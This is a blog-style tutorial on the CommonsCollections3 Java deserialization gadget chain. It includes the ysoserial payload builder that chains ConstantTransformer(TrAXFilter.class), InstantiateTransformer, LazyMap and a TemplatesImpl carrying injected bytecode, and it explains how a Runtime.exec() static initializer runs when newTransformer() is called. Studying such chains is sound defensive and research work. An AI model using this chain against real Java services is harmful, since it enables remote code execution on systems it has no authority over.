CommonsCollection3

    @Override
    public T transform(final Class input) {
        try {
            if (input == null) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
            }
            final Constructor con = input.getConstructor(iParamTypes);
            return (T) con.newInstance(iArgs);
        } catch (final NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public");
        } catch (final InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (final IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (final InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }
    

    public T transform(final Class input) {
        final Constructor con = input.getConstructor(iParamTypes);
        return con.newInstance(iArgs);
    }
    

    import java.lang.reflect.Method;
    public class AnotherClasss {
        public AnotherClasss(testclass b, String input) {
            b.Hello(input);
        }
    }
    

  public class testclass {
  
      public void Hello(String a) {
          System.out.println(a);
      }
  }
  

  import org.apache.commons.collections.functors.*;
  import org.apache.commons.collections.Transformer;
  
  public class instantclass {
      public static void main(String args[]) {
          testclass t = new testclass();
          Class[] paramTypes = new Class[] { testclass.class, String.class };
          Object[] args = new Object[] { t, "ITWORKS" };
          InstantiateTransformer instantiate = new InstantiateTransformer(
                  paramTypes, args);
          
          instantiate.transform(AnotherClasss.class);
      }
  }
  

    public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);
    
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] { templatesImpl })
        };
    
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    
        return handler;
    }
    

In the code above, we are using InstantiateTransformer with Templates.class and passing a TemplatesImpl instance. The templatesImpl object is obtained from Gadgets.createTemplatesImpl(command).

Instead of reviewing the Gadgets.class from ysoserial, let’s review the code below. It is essentially the same, but here we are creating our own class instead of relying on Gadgets.class.

In the code above, there are three main sections:

[1] We use Javassist to insert the command dynamically at runtime. Inside pool.get(), we can pass any existing class name. The key points are: - Call clazz.makeClassInitializer().insertAfter(cmd); - Call CtClass superC = pool.get(AbstractTranslet.class.getName()); - Finally, set clazz.setSuperclass(superC);

The reason for the last two calls is simple: in the TemplatesImpl class, when we set _bytecodes to our custom bytecode, that bytecode must extend AbstractTranslet. Otherwise, TemplatesImpl will not execute it.

[2] We set the _bytecodes, _tfactory, and _name fields. Up until line 58, we are creating an object of TemplatesImpl and using reflection to set these fields, as they are required for the class to function.

The _bytecodes field simply holds the bytecode of our dynamically generated class created via Javassist.

[3] We configure InstantiateTransformer to execute the TemplatesImpl object. This step is what ultimately triggers the malicious behavior.

Now, there are a couple of important questions:

1. Why TemplatesImpl?
   Because TemplatesImpl accepts custom bytecode and executes it.
2. Why TrAXFilter?
   If you look at line 65, you’ll see templates.newTransformer(). This is the exact point where our injected bytecode is executed. So, when using InstantiateTransformer, we need a class (similar to how InvokerTransformer relies on Runtime.class) that takes a Templates object and calls newTransformer(). That class is TrAXFilter.

If you examine how InstantiateTransformer.transform() works, you’ll find the following code:

                        public T transform(final Class input) {
                                   final Constructor con = input.getConstructor(iParamTypes);
                                   return con.newInstance(iArgs);
                        }
    

In the code above, transform() takes a Class as input and calls getConstructor(). That returns the public constructors for the class, but getConstructor() is called with iParamTypes (the constructor parameter types provided during initialization). In this example, iParamTypes is Templates.class.

The transformer will therefore look for a constructor that accepts a Templates argument. It will search in TrAXFilter.class because that's the class we pass to transform(). If you pass a different class, it must also have a public constructor matching the specified parameter types for InstantiateTransformer to work. (See the "How InstantiateTransformer Works" section for details.)

After we arm the transformer chain, we trigger it in the same way as CommonsCollections1 — using a chained transformer gadget (for example via a LazyMap.get() call).

1. Why pass 1 into ConstantTransformer?

   You don't strictly need this inert step — it is only used as a harmless placeholder during payload setup. The exploit still works if you remove it.

Summary:

• CommonsCollections3 is similar to CC1, but uses InstantiateTransformer instead of InvokerTransformer.
• InstantiateTransformer takes a class and instantiates it using specified constructor arguments.
• We use TemplatesImpl to embed malicious bytecode, which is executed when newTransformer() is called.
• TrAXFilter.class is chosen because it has a public constructor that takes a Templates object and internally calls newTransformer().
• The transformer chain consists of:
  • ConstantTransformer(TrAXFilter.class) - always returns the class
  • InstantiateTransformer - uses the class and the malicious TemplatesImpl object to instantiate a new TrAXFilter, triggering the exploit
• TemplatesImpl is created using JavaAssist to inject a malicious static initializer (e.g., Runtime.getRuntime().exec()).
• Execution occurs when the transform chain is triggered (e.g., via LazyMap.get() or any gadget that invokes the transformer).

Thats it for Today.

Thanks For Reading.

Happy Hacking.

You can connect with me at:

Linkedin

Twitter